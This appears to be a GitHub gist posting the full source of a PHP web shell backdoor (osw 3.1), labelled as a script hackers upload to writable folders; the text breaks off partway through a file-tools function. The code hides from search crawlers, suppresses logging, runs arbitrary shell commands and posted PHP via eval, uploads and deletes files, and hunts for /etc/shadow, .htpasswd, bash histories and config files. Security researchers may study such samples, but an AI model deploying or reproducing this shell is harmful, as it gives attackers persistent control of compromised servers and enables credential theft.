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dodyw/gist:8213007

Created January 1, 2014 23:49
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Backdoor script type #2, usually uploaded by hacker to folder with 777 permission.
Raw
gistfile1.txt
<?php
$auth_pass = "460c3646e4c75a4fae5c8fe817e0c435";
$color = "#00FF66";
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$default_action = 'FilesMan';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('osw_VERSION', '3.1');
if(get_magic_quotes_gpc()) {
function oswstripslashes($array) {
return is_array($array) ? array_map('oswstripslashes', $array) : stripslashes($array);
}
$_POST = oswstripslashes($_POST);
$_COOKIE = oswstripslashes($_COOKIE);
}
function oswLogin() {
die("<pre align=center><form method=post>Pass: <input type=password name=pass><input type=submit value='>>'></form></pre> &copy; Access denied! :)");
}
function oswsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
oswsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
oswLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function oswHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - osw " . osw_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Php'=>'Php');
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['Framer'] = 'Framer';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . oswViewSize($totalSpace) . ' <span>Free:</span> ' . oswViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. oswPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function oswFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function oswEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("\n",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function oswViewSize($s) {
if (is_int($s))
$s = sprintf("%u", $s);
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function oswPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function oswPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . oswPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . oswPerms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . oswPerms(@fileperms($f)) . '</font>';
}
function oswScandir($dir) {
if(function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function oswWhich($p) {
$path = oswEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
oswHeader();
echo '<h1>Server security information</h1><div class=content>';
function oswSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>' . $n . ': </span>';
if(strpos($v, "\n") === false)
echo $v . '<br>';
else
echo '<pre class=ml1>' . $v . '</pre>';
}
}
oswSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
oswSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
oswSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
oswSecParam('Open base dir', @ini_get('open_basedir'));
oswSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
oswSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
oswSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
oswSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if($GLOBALS['os'] == 'nix') {
oswSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
oswSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
oswSecParam('OS version', @file_get_contents('/proc/version'));
oswSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(oswWhich($item))
$temp[] = $item;
oswSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(oswWhich($item))
$temp[] = $item;
oswSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(oswWhich($item))
$temp[] = $item;
oswSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
oswSecParam('HDD space', oswEx('df -h'));
oswSecParam('Hosts', @file_get_contents('/etc/hosts'));
echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
$temp = "";
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
$temp .= join(':',$uid)."\n";
}
echo '<br/>';
oswSecParam('Users', $temp);
}
}
} else {
oswSecParam('OS Version',oswEx('ver'));
oswSecParam('Account Settings',oswEx('net accounts'));
oswSecParam('User Accounts',oswEx('net user'));
}
echo '</div>';
oswFooter();
}
function actionPhp() {
if(isset($_POST['ajax'])) {
oswsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
echo strlen($temp), "\n", $temp;
exit;
}
if(empty($_POST['ajax']) && !empty($_POST['p1']))
oswsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
oswHeader();
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace(array (
'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
'!td, th {(.*)}!msiU',
'!<img[^>]+>!msiU',
), array (
'',
'.e, .v, .h, .h th {$1}',
''
), $tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
oswFooter();
}
function actionFilesMan() {
if (!empty ($_COOKIE['f']))
$_COOKIE['f'] = @unserialize($_COOKIE['f']);
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload file!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_COOKIE['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
} elseif($_COOKIE['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_COOKIE['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_COOKIE['c']);
foreach($_COOKIE['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_COOKIE['c'].$f))
$zip->addFile($_COOKIE['c'].$f, $f);
elseif(@is_dir($_COOKIE['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', 4096));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_COOKIE['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_COOKIE['f'] as $f) {
if($zip->open($_COOKIE['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_COOKIE['act'] == 'tar') {
chdir($_COOKIE['c']);
$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
oswEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
chdir($GLOBALS['cwd']);
}
unset($_COOKIE['f']);
setcookie('f', '', time() - 3600);
break;
default:
if(!empty($_POST['p1'])) {
oswsetcookie('act', $_POST['p1']);
oswsetcookie('f', serialize(@$_POST['f']));
oswsetcookie('c', @$_POST['c']);
}
break;
}
}
oswHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
$dirContent = oswScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';oswFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => oswPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function oswCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "oswCmp");
usort($dirs, "oswCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?oswViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
echo "<option value='paste'>Paste / Compress</option>";
echo "</select>&nbsp;";
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
echo "file name: <input type=text name=p2 value='osw_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
oswFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
